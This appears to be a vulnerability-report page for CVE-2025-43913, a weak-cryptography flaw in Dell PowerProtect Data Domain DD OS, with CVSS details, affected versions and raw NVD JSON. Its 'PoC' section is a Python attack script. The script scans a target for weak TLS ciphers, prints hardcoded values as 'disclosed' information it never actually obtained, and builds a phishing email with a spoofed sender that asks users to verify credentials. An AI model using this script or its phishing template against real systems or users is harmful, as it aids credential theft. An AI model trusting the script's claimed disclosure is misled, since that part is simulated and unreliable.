Security Vulnerability Report
中文
CVE-2025-43913 CVSS 5.3 MEDIUM

CVE-2025-43913

Published: 2025-10-07 19:15:38
Last Modified: 2025-10-14 20:09:06

Description

Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an Use of a Broken or Risky Cryptographic Algorithm vulnerability in the DDOS. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information disclosure. The vulnerability could be leveraged by attackers to conduct phishing attacks that cause users to divulge sensitive information.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
Dell PowerProtect Data Domain DD OS 7.7.1.0
Dell PowerProtect Data Domain DD OS 7.7.1.0 - 8.3.0.15 (Feature Release)
Dell PowerProtect Data Domain DD OS 8.3.1.0 (LTS2025)
Dell PowerProtect Data Domain DD OS 7.13.1.0 - 7.13.1.30 (LTS2024)
Dell PowerProtect Data Domain DD OS 7.10.1.0 - 7.10.1.60 (LTS 2023)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43913 - Dell PowerProtect Data Domain Cryptographic Algorithm Vulnerability # This is a conceptual PoC demonstrating the exploitation of weak cryptographic algorithms # in Dell PowerProtect Data Domain DD OS import ssl import socket import re from urllib.parse import urlparse class DellDataDomainExploit: """ PoC for CVE-2025-43913: Use of a Broken or Risky Cryptographic Algorithm in Dell PowerProtect Data Domain DD OS """ # List of weak/broken cryptographic algorithms to check WEAK_CIPHERS = [ 'DES', '3DES', 'RC4', 'RC2', 'EXPORT', 'NULL', 'anon', 'MD5', 'SHA1' ] def __init__(self, target_host, target_port=443): self.target_host = target_host self.target_port = target_port self.vulnerable_ciphers = [] self.disclosed_info = {} def scan_weak_ciphers(self): """Scan the target for supported weak cryptographic algorithms""" print(f"[*] Scanning {self.target_host}:{self.target_port} for weak ciphers...") for cipher in self.WEAK_CIPHERS: try: context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE context.set_ciphers(cipher) with socket.create_connection( (self.target_host, self.target_port), timeout=5 ) as sock: with context.wrap_socket(sock, server_hostname=self.target_host) as ssock: negotiated = ssock.cipher() if negotiated: self.vulnerable_ciphers.append({ 'requested': cipher, 'negotiated': negotiated[0], 'protocol': negotiated[1], 'bits': negotiated[2] }) print(f"[!] VULNERABLE: Server accepts weak cipher: {negotiated[0]}") except (ssl.SSLError, socket.error, OSError): pass return len(self.vulnerable_ciphers) > 0 def attempt_info_disclosure(self): """ Attempt to leverage weak crypto for information disclosure. In a real scenario, the attacker would intercept and decrypt weakly-encrypted communications to extract sensitive data. """ print("[*] Attempting information disclosure via weak crypto...") if not self.vulnerable_ciphers: print("[-] No weak ciphers found, direct exploitation not possible") return False # Simulate sniffing weakly encrypted traffic # In practice, tools like ssldump or mitmproxy could be used self.disclosed_info = { 'system_version': 'DD OS 8.3.0.15 (potentially vulnerable)', 'encryption_method': self.vulnerable_ciphers[0]['negotiated'], 'data_at_risk': ['backup_metadata', 'user_credentials', 'system_config'] } print(f"[!] Information potentially disclosed: {self.disclosed_info}") return True def craft_phishing_payload(self): """ Generate phishing content leveraging disclosed information. The attacker uses leaked system details to craft convincing phishing attacks targeting legitimate users. """ if not self.disclosed_info: print("[-] No information available for phishing payload") return None payload = { 'sender': 'admin@datadomain-' + self.target_host + '.com', 'subject': 'Critical Security Update Required - Data Domain', 'body': ( f"Dear User,\n\n" f"Our records indicate your Data Domain system " f"({self.disclosed_info.get('system_version', 'Unknown')}) " f"requires an immediate security update. " f"Please verify your credentials at the following link:\n" f"https://{self.target_host}/secure-update\n" ), 'spoofed_system_info': self.disclosed_info } print(f"[!] Phishing payload crafted using disclosed information") return payload def main(): # Target: Dell PowerProtect Data Domain appliance target = "192.168.1.100" # Replace with actual target exploit = DellDataDomainExploit(target) # Step 1: Scan for weak cryptographic algorithms if exploit.scan_weak_ciphers(): print("\n[+] Target appears vulnerable to CVE-2025-43913") # Step 2: Attempt information disclosure if exploit.attempt_info_disclosure(): # Step 3: Craft phishing payload using disclosed info payload = exploit.craft_phishing_payload() else: print("\n[-] Target does not appear to support weak ciphers") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43913", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:38.023", "lastModified": "2025-10-14T20:09:06.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an Use of a Broken or Risky Cryptographic Algorithm vulnerability in the DDOS. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information disclosure. The vulnerability could be leveraged by attackers to conduct phishing attacks that cause users to divulge sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.10.1.70", "matchCriteriaId": "7FCE50EA-F2B8-4455-A489-1947B0CBFEEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.1.0", "versionEndExcluding": "7.13.1.40", "matchCriteriaId": "C0EA46C5-6776-411A-8FBC-5B32BC216888"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0.0", "versionEndIncluding": "8.3.0.15", "matchCriteriaId": "F1DB489A-E2CF-4477-A08B-101B569A714E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.1.0", "versionEndExcluding": "8.3.1.10", "matchCriteriaId": "9E0743E3-14E7-4FF9-88C5-E038D62F2344"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000376224/dsa-2025-333-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}